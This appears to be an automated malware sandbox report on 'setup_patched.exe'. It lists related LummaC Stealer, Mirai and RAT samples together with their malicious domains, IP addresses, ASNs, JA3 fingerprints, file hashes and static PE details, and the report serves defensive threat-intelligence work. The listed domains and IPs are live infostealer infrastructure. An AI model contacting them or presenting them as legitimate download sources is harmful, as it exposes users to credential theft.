	Rd_client_w_a_s_d_patched.exe	Get hash	malicious	LummaC Stealer	Browse	217.20.55.20
	PA.bin.exe	Get hash	malicious	Unknown	Browse	217.20.51.39
	IMSoftware{Launcher}3.21.exe	Get hash	malicious	LummaC Stealer	Browse	217.20.55.21
	SoftWare(1).exe	Get hash	malicious	LummaC Stealer	Browse	217.20.48.23
	launch3r-v2.2.2.exe	Get hash	malicious	LummaC Stealer	Browse	217.20.55.34
	SecuriteInfo.com.Trojan.Heur.TP.RuW@bOo3uBfc.2836.5163.exe	Get hash	malicious	LummaC Stealer	Browse	217.20.55.22
	SecuriteInfo.com.Win32.MalwareX-gen.12458.14123.exe	Get hash	malicious	LummaC Stealer	Browse	217.20.48.39
	4nsy2bvYRk.exe	Get hash	malicious	ScreenConnect Tool	Browse	217.20.48.19
	Quotation.xla.xlsx	Get hash	malicious	Unknown	Browse	208.89.73.27
bg.microsoft.map.fastly.net	smss (2).exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	199.232.210.172
	activate.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.210.172
	Imprimir_Entrada.exe	Get hash	malicious	Quasar, StormKitty	Browse	199.232.210.172
	3pzDxChUaP.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	SecuriteInfo.com.Trojan.MulDrop23.44572.16409.10206.exe	Get hash	malicious	ScreenConnect Tool, XWorm	Browse	199.232.214.172
	Saturn.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	Setupx-64.exe	Get hash	malicious	DCRat	Browse	199.232.214.172
	SecuriteInfo.com.Win64.MalwareX-gen.5298.17806.exe	Get hash	malicious	GhostRat	Browse	199.232.214.172
	SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe	Get hash	malicious	DcRat	Browse	199.232.210.172
	support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	199.232.210.172
h1.mockupeastcoast.shop	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	89.169.54.153
	#Ud835#Udc12#Ud835#Udc04#Ud835#Udc13#Ud835#Udc14#Ud835#Udc0f_patched.exe	Get hash	malicious	LummaC Stealer	Browse	89.169.54.153
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	89.169.54.153
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	89.169.54.153
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	89.169.54.153
	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.62.250
	setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.62.250
	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.62.250
	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.141.59
	setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.141.59
bxattlepath.digital	#Ud835#Udc12#Ud835#Udc04#Ud835#Udc13#Ud835#Udc14#Ud835#Udc0f_patched.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.7

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
INF-NET-ASRU	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	89.169.54.153
	#Ud835#Udc12#Ud835#Udc04#Ud835#Udc13#Ud835#Udc14#Ud835#Udc0f_patched.exe	Get hash	malicious	LummaC Stealer	Browse	89.169.54.153
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	89.169.54.153
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	89.169.54.153
	resgod.sh4.elf	Get hash	malicious	Mirai	Browse	83.217.197.148
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	89.169.54.153
	utorrent_installer.exe	Get hash	malicious	Unknown	Browse	83.217.202.106
	resgod.sh4.elf	Get hash	malicious	Mirai	Browse	83.217.222.149
	MDE_File_Sample_0bd717cd72246ba4b246245e85161a8162d62c19.zip	Get hash	malicious	Unknown	Browse	83.217.208.151
	jPKFh06jHI.exe	Get hash	malicious	Vidar	Browse	83.217.208.144
CLOUDFLARENETUS	1st.Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.13.126
	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	#Ud835#Udc12#Ud835#Udc04#Ud835#Udc13#Ud835#Udc14#Ud835#Udc0f_patched.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.157.7
	https://onlyfans.com/bigmouthxfree	Get hash	malicious	Unknown	Browse	172.66.0.44
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162
	Set-Up.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.131.70
	shegivenmekissinglips.hta	Get hash	malicious	Cobalt Strike, MSIL Logger, MassLogger RAT	Browse	104.21.32.1
	smss (2).exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.96.1
	KUzGUp4xs6.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.32.1
	Mi5cEY8M3R.hta	Get hash	malicious	Cobalt Strike, MSIL Logger, MassLogger RAT	Browse	104.21.48.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	1st.Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.42.51
	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.42.51
	#Ud835#Udc12#Ud835#Udc04#Ud835#Udc13#Ud835#Udc14#Ud835#Udc0f_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.42.51
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.42.51
	Set-Up.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.42.51
	activate.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.42.51
	activate.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.42.51
	OGF4TzdXZ9.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.42.51
	SecuriteInfo.com.FileRepMalware.5979.10698.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.42.51
	Nepomuk.exe	Get hash	malicious	GO Backdoor, LummaC Stealer	Browse	104.21.42.51

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.991985498241126
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	setup_patched.exe
File size:	1'085'440 bytes
MD5:	793e23c2663f78fe14e253cd2abe1753
SHA1:	5bccf1485595a3a2b028feeaf4d7b3ed52a1a9cc
SHA256:	75ec6dfa7af5fad2a4c0180a4b9e754f42bb69bfa68fc51f4c18e63f37c13303
SHA512:	e7f129fd7e71cfc71e1f1b4c0fa1dc49ab55f77dad64563112bc5d4d6829f0017ca005e673203a4e3229292f559fafb175e4944c85c9e20b475fdb99bae29498
SSDEEP:	24576:qRkVCc31aG7eoQ2Ap4Ap4Ap8zoqjzP3UXqnv35fxnFL+976:cBc31NC4Ap4Ap4Ap8zoczkXuTF
TLSH:	A935AE21B3C18076E5B3023349E986B966B5FC215BB409C733C97BBE2E396D14B3535A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Jo.......................v.......v..............).......).......).......).......).......Rich............................PE..L..

File Icon


Icon Hash:	0e23911f0ee7acb4

Static PE Info

General

Entrypoint:	0x450c99
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x4F2AB546 [Thu Feb 2 16:09:42 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	cb21450a308d7ec50a220da90ad48c3d

Entrypoint Preview

Instruction
call 00007F387C8F06A1h
jmp 00007F387C8E787Ch
push esi
xor esi, esi
cmp dword ptr [esp+08h], esi
jne 00007F387C8E7A86h
call 00007F387C8EB319h
mov dword ptr [eax], esi
call 00007F387C8EB2FFh
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 00000016h
call 00007F387C8E9C67h
add esp, 14h
push 00000016h
pop eax
pop esi
ret
test dword ptr [esp+0Ch], FFFFFFF9h
jne 00007F387C8E7A34h
push dword ptr [esp+08h]
call dword ptr [004831C8h]
cmp eax, FFFFFFFFh
jne 00007F387C8E7A78h
call dword ptr [004833F4h]
push eax
call 00007F387C8EB2E8h
pop ecx
call 00007F387C8EB2BCh
mov eax, dword ptr [eax]
pop esi
ret
test al, 10h
jne 00007F387C8E7A85h
test al, 01h
je 00007F387C8E7A81h
test byte ptr [esp+0Ch], 00000002h
je 00007F387C8E7A7Ah
call 00007F387C8EB2B7h
mov dword ptr [eax], 00000005h
call 00007F387C8EB299h
mov dword ptr [eax], 0000000Dh
jmp 00007F387C8E7A32h
xor eax, eax
pop esi
ret
push dword ptr [esp+08h]
push dword ptr [esp+08h]
call 00007F387C8E79D1h
pop ecx
neg eax
pop ecx
sbb eax, eax
ret
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword ptr [ebp+0Ch]
add eax, 0Ch
mov dword ptr [ebp-04h], eax
mov ebx, dword ptr fs:[00000000h]
mov eax, dword ptr [ebx]
mov dword ptr fs:[00000000h], eax
mov eax, dword ptr [ebp+08h]
mov ebx, dword ptr [ebp+0Ch]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2005 build 50727
[ C ] VS2005 build 50727
[C++] VS2005 build 50727
[RES] VS2005 build 50727
[LNK] VS2005 build 50727

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9ae54	0xf0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa5000	0x62000	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x83940	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x91fc0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x83000	0x880	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x9ada4	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x81281	0x82000	9f0420a71425f6d8384e8773a1e03e53	False	0.5044565054086538	data	6.555565038681675	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x83000	0x1a994	0x1b000	bab9634b75b40f8da8e4d749d4fb62a7	False	0.3189380787037037	OpenPGP Secret Key	5.109872734060431	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9e000	0x69f8	0x3000	4c3bc0d2d682f535c015ff44f501a911	False	0.2682291666666667	data	3.9035875057992815	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xa5000	0x62000	0x62000	7b1d1f59ee927271d842d55356df4c82	False	0.7415298150510204	data	7.459559564056852	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xa62a4	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4805194805194805
RT_CURSOR	0xa63d8	0xb4	Targa image data - Map 32 x 65536 x 1 +16 "\001"	English	United States	0.7
RT_CURSOR	0xa648c	0x134	AmigaOS bitmap font "(", fc_YSize 4294967264, 5120 elements, 2nd "\377\360?\377\377\370\177\377\377\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	English	United States	0.36363636363636365
RT_CURSOR	0xa65c0	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.35714285714285715
RT_CURSOR	0xa66f4	0x134	data	English	United States	0.37337662337662336
RT_CURSOR	0xa6828	0x134	data	English	United States	0.37662337662337664
RT_CURSOR	0xa695c	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	English	United States	0.36688311688311687
RT_CURSOR	0xa6a90	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	English	United States	0.37662337662337664
RT_CURSOR	0xa6bc4	0x134	Targa image data - Mono - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.36688311688311687
RT_CURSOR	0xa6cf8	0x134	Targa image data - RGB - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0xa6e2c	0x134	data	English	United States	0.44155844155844154
RT_CURSOR	0xa6f60	0x134	data	English	United States	0.4155844155844156
RT_CURSOR	0xa7094	0x134	AmigaOS bitmap font "(", fc_YSize 4294966847, 3840 elements, 2nd "\377?\374\377\377\300\003\377\377\300\003\377\377\340\007\377\377\360\017\377\377\370\037\377\377\374?\377\377\376\177\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	English	United States	0.5422077922077922
RT_CURSOR	0xa71c8	0x134	data	English	United States	0.2662337662337662
RT_CURSOR	0xa72fc	0x134	data	English	United States	0.2824675324675325
RT_CURSOR	0xa7430	0x134	data	English	United States	0.3246753246753247
RT_BITMAP	0xa7564	0x728	Device independent bitmap graphic, 48 x 16 x 8, image size 768	German	Germany	0.3558951965065502
RT_BITMAP	0xa7c8c	0x728	Device independent bitmap graphic, 48 x 16 x 8, image size 768	English	United States	0.3558951965065502
RT_BITMAP	0xa83b4	0x728	Device independent bitmap graphic, 48 x 16 x 8, image size 768	French	France	0.3558951965065502
RT_BITMAP	0xa8adc	0xb8	Device independent bitmap graphic, 12 x 10 x 4, image size 80	English	United States	0.44565217391304346
RT_BITMAP	0xa8b94	0x144	Device independent bitmap graphic, 33 x 11 x 4, image size 220	English	United States	0.37962962962962965
RT_ICON	0xa8cd8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.5932080924855492
RT_ICON	0xa9240	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6223404255319149
RT_ICON	0xa96a8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 672	English	United States	0.7932027649769585
RT_ICON	0xa9d70	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.5766393442622951
RT_ICON	0xaa6f8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.7436823104693141
RT_ICON	0xaafa0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.5408067542213884
RT_ICON	0xac048	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688	English	United States	0.597547974413646
RT_ICON	0xacef0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.43143153526970957
RT_ICON	0xaf498	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	German	Germany	0.5932080924855492
RT_ICON	0xafa00	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	German	Germany	0.6223404255319149
RT_ICON	0xafe68	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 672	German	Germany	0.7932027649769585
RT_ICON	0xb0530	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	German	Germany	0.5766393442622951
RT_ICON	0xb0eb8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	German	Germany	0.7436823104693141
RT_ICON	0xb1760	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	German	Germany	0.5408067542213884
RT_ICON	0xb2808	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688	German	Germany	0.597547974413646
RT_ICON	0xb36b0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	German	Germany	0.43143153526970957
RT_ICON	0xb5c58	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	French	France	0.5932080924855492
RT_ICON	0xb61c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	French	France	0.6223404255319149
RT_ICON	0xb6628	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 672	French	France	0.7932027649769585
RT_ICON	0xb6cf0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	French	France	0.5766393442622951
RT_ICON	0xb7678	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	French	France	0.7436823104693141
RT_ICON	0xb7f20	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	French	France	0.5408067542213884
RT_ICON	0xb8fc8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688	French	France	0.597547974413646
RT_ICON	0xb9e70	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	French	France	0.43143153526970957
RT_DIALOG	0xbc418	0x184	data	German	Germany	0.5412371134020618
RT_DIALOG	0xbc59c	0x184	data	English	United States	0.5412371134020618
RT_DIALOG	0xbc720	0x190	data	French	France	0.555
RT_DIALOG	0xbc8b0	0x716	data	German	Germany	0.3869900771775083
RT_DIALOG	0xbcfc8	0x6ce	data	English	United States	0.37370838117106775
RT_DIALOG	0xbd698	0x758	data	French	France	0.3638297872340426
RT_DIALOG	0xbddf0	0x256	data	German	Germany	0.5301003344481605
RT_DIALOG	0xbe048	0x232	data	English	United States	0.5231316725978647
RT_DIALOG	0xbe27c	0x260	data	French	France	0.5115131578947368
RT_DIALOG	0xbe4dc	0xe8	data	English	United States	0.6336206896551724
RT_DIALOG	0xbe5c4	0x34	data	English	United States	0.9038461538461539
RT_STRING	0xbe5f8	0x1f2	data	German	Germany	0.5120481927710844
RT_STRING	0xbe7ec	0x1e8	data	English	United States	0.5307377049180327
RT_STRING	0xbe9d4	0x248	data	French	France	0.5068493150684932
RT_STRING	0xbec1c	0x4e	data	German	Germany	0.6282051282051282
RT_STRING	0xbec6c	0x4c	data	English	United States	0.6710526315789473
RT_STRING	0xbecb8	0x54	data	French	France	0.6428571428571429
RT_STRING	0xbed0c	0x7e	data	German	Germany	0.6507936507936508
RT_STRING	0xbed8c	0x6c	data	English	United States	0.6666666666666666
RT_STRING	0xbedf8	0x7c	data	French	France	0.6129032258064516
RT_STRING	0xbee74	0x266	data	German	Germany	0.4185667752442997
RT_STRING	0xbf0dc	0x1f8	data	English	United States	0.42063492063492064
RT_STRING	0xbf2d4	0x2f0	data	French	France	0.3670212765957447
RT_STRING	0xbf5c4	0x82	StarOffice Gallery theme p, 536899072 objects, 1st n	English	United States	0.7153846153846154
RT_STRING	0xbf648	0x2a	data	English	United States	0.5476190476190477
RT_STRING	0xbf674	0x192	data	English	United States	0.48009950248756217
RT_STRING	0xbf808	0x4e2	data	English	United States	0.376
RT_STRING	0xbfcec	0x31a	data	English	United States	0.2682619647355164
RT_STRING	0xc0008	0x2dc	data	English	United States	0.36885245901639346
RT_STRING	0xc02e4	0x8a	data	English	United States	0.6594202898550725
RT_STRING	0xc0370	0xac	data	English	United States	0.45348837209302323
RT_STRING	0xc041c	0xde	data	English	United States	0.536036036036036
RT_STRING	0xc04fc	0x4c4	data	English	United States	0.3221311475409836
RT_STRING	0xc09c0	0x264	data	English	United States	0.3741830065359477
RT_STRING	0xc0c24	0x2c	data	English	United States	0.5227272727272727
RT_STRING	0xc0c50	0x42	data	English	United States	0.6060606060606061
RT_GROUP_CURSOR	0xc0c94	0x22	Lotus unknown worksheet or configuration, revision 0x2	English	United States	1.0294117647058822
RT_GROUP_CURSOR	0xc0cb8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xc0ccc	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xc0ce0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xc0cf4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xc0d08	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xc0d1c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xc0d30	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xc0d44	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xc0d58	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xc0d6c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xc0d80	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xc0d94	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xc0da8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xc0dbc	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0xc0dd0	0x76	data	German	Germany	0.6779661016949152
RT_GROUP_ICON	0xc0e48	0x76	data	English	United States	0.652542372881356
RT_GROUP_ICON	0xc0ec0	0x76	data	French	France	0.6779661016949152
RT_VERSION	0xc0f38	0x24c	data	English	United States	0.5204081632653061
RT_MANIFEST	0xc1184	0x299	XML 1.0 document, ASCII text, with CRLF line terminators	German	Germany	0.47368421052631576
RT_MANIFEST	0xc1420	0x299	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.47368421052631576
RT_MANIFEST	0xc16bc	0x299	XML 1.0 document, ASCII text, with CRLF line terminators	French	France	0.47368421052631576
RT_MANIFEST	0xc1958	0x56	ASCII text, with CRLF line terminators	English	United States	1.0232558139534884

Imports

DLL	Import
KERNEL32.dll	SetErrorMode, GetVersionExW, FileTimeToLocalFileTime, LocalFileTimeToFileTime, SetFileTime, SetFileAttributesW, GetFileAttributesW, GetFileTime, HeapFree, HeapAlloc, GetProcessHeap, GetStartupInfoW, RtlUnwind, ExitProcess, RaiseException, DebugBreak, IsDebuggerPresent, TerminateProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, HeapReAlloc, ExitThread, CreateThread, HeapSize, GetStdHandle, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetCommandLineW, SetHandleCount, GetStartupInfoA, GetShortPathNameW, HeapCreate, VirtualFree, QueryPerformanceCounter, GetTickCount, GetSystemTimeAsFileTime, FatalAppExitA, SetConsoleCtrlHandler, Sleep, VirtualQuery, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, GetTimeZoneInformation, VirtualAlloc, GetConsoleCP, GetConsoleMode, GetLocaleInfoA, LCMapStringA, LCMapStringW, GetStringTypeA, GetStringTypeW, GetTimeFormatA, GetDateFormatA, GetUserDefaultLCID, EnumSystemLocalesA, IsValidLocale, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA, SetEnvironmentVariableA, GetFullPathNameW, GetVolumeInformationW, FindFirstFileW, FindClose, SetEndOfFile, UnlockFile, LockFile, FlushFileBuffers, lstrcmpiW, GetStringTypeExW, MoveFileW, GlobalFlags, GetCurrentDirectoryW, WritePrivateProfileStringW, GetPrivateProfileIntW, GetThreadLocale, lstrlenA, GetAtomNameW, GlobalGetAtomNameW, InterlockedIncrement, TlsFree, DeleteCriticalSection, LocalReAlloc, TlsSetValue, TlsAlloc, InitializeCriticalSection, GlobalHandle, GlobalReAlloc, EnterCriticalSection, TlsGetValue, LeaveCriticalSection, LocalAlloc, InterlockedDecrement, GetModuleHandleA, GlobalFindAtomW, CompareStringW, GetVersionExA, FreeResource, GetCurrentProcessId, GlobalAddAtomW, CreateEventW, SuspendThread, SetEvent, WaitForSingleObject, ResumeThread, SetThreadPriority, GlobalDeleteAtom, GetCurrentThread, GetCurrentThreadId, ConvertDefaultLocale, GetVersion, EnumResourceLanguagesW, lstrcmpA, LoadLibraryExW, CompareStringA, InterlockedExchange, lstrcmpW, GlobalFree, GlobalSize, GlobalAlloc, GlobalLock, GlobalUnlock, FormatMessageW, LocalFree, GetLocalTime, SystemTimeToFileTime, UnmapViewOfFile, GetCurrentProcess, DuplicateHandle, CreateFileMappingW, MapViewOfFile, GetFileType, GetFileInformationByHandle, SetFilePointer, FileTimeToDosDateTime, FileTimeToSystemTime, WinExec, GetLastError, SetLastError, WriteFile, WideCharToMultiByte, LoadLibraryA, lstrlenW, lstrcpynW, lstrcpyW, GetLocaleInfoW, GetNumberFormatW, MulDiv, MultiByteToWideChar, GetWindowsDirectoryW, DeleteFileW, GetPrivateProfileStringW, GetModuleHandleW, LoadLibraryW, GetProcAddress, GetTempPathW, FreeLibrary, CreateFileW, GetFileSize, ReadFile, CloseHandle, GetModuleFileNameW, LoadResource, LockResource, SizeofResource, FindResourceW, HeapDestroy, CopyFileW
USER32.dll	SetRectEmpty, CreatePopupMenu, InsertMenuItemW, LoadAcceleratorsW, LoadMenuW, ReuseDDElParam, UnpackDDElParam, IsRectEmpty, GetSystemMenu, SetParent, UnionRect, SetRect, GetDCEx, EndPaint, BeginPaint, GetWindowDC, ClientToScreen, ScrollWindowEx, ShowWindow, MoveWindow, SetWindowTextW, IsDialogMessageW, IsDlgButtonChecked, SetDlgItemTextW, SetDlgItemInt, GetDlgItemTextW, GetDlgItemInt, CheckRadioButton, CheckDlgButton, SendDlgItemMessageW, SendDlgItemMessageA, WinHelpW, IsChild, GetCapture, GetClassLongW, GetClassNameW, SetPropW, GetPropW, RemovePropW, GetWindowTextLengthW, GetWindowTextW, GetForegroundWindow, BeginDeferWindowPos, EndDeferWindowPos, GetTopWindow, UnhookWindowsHookEx, GetMessageTime, MapWindowPoints, ScrollWindow, TrackPopupMenuEx, TrackPopupMenu, SetScrollRange, GetScrollRange, SetScrollPos, GetScrollPos, SetForegroundWindow, ShowScrollBar, GetMenu, CreateWindowExW, GetClassInfoExW, GetClassInfoW, BringWindowToTop, AdjustWindowRectEx, EqualRect, DeferWindowPos, GetScrollInfo, SetScrollInfo, CopyRect, SetWindowPlacement, GetDlgCtrlID, DefWindowProcW, CallWindowProcW, SetWindowPos, OffsetRect, IntersectRect, SystemParametersInfoA, IsIconic, GetWindowPlacement, GetDesktopWindow, CreateDialogIndirectParamW, DestroyWindow, GetDlgItem, GetNextDlgTabItem, EndDialog, GetWindowThreadProcessId, GetWindowLongW, GetLastActivePopup, IsWindowEnabled, MessageBoxW, ShowOwnedPopups, SetWindowsHookExW, CallNextHookEx, GetMessageW, TranslateMessage, DispatchMessageW, GetActiveWindow, IsWindowVisible, GetKeyState, PeekMessageW, GetCursorPos, ValidateRect, SetMenuItemBitmaps, GetMenuCheckMarkDimensions, LoadBitmapW, ModifyMenuW, EnableMenuItem, CheckMenuItem, PostMessageW, PostQuitMessage, GetMenuState, GetMenuStringW, AppendMenuW, GetMenuItemID, InsertMenuW, GetMenuItemCount, GetSubMenu, RemoveMenu, UpdateWindow, DrawEdge, GetFocus, RegisterWindowMessageW, GetParent, KillTimer, ReleaseDC, GetDC, SetMenu, TranslateAcceleratorW, UnregisterClassW, SystemParametersInfoW, DestroyMenu, GetMenuItemInfoW, GetDialogBaseUnits, CharUpperW, DestroyIcon, WaitMessage, DeleteMenu, GetSysColorBrush, WindowFromPoint, MapVirtualKeyW, RegisterClassW, GetKeyNameTextW, IsWindow, MessageBeep, SetWindowLongW, InvalidateRect, GrayStringW, DrawTextExW, DrawTextW, TabbedTextOutW, InflateRect, RedrawWindow, GetClientRect, DrawIcon, FillRect, GetSystemMetrics, GetSysColor, SetCapture, SetFocus, ReleaseCapture, SetActiveWindow, GetAsyncKeyState, wsprintfW, LoadIconW, SetTimer, ScreenToClient, PtInRect, LoadCursorW, CopyIcon, GetMessagePos, SetCursor, DestroyCursor, EnableWindow, LockWindowUpdate, GetWindowRect, SendMessageW, GetWindow, UnregisterClassA
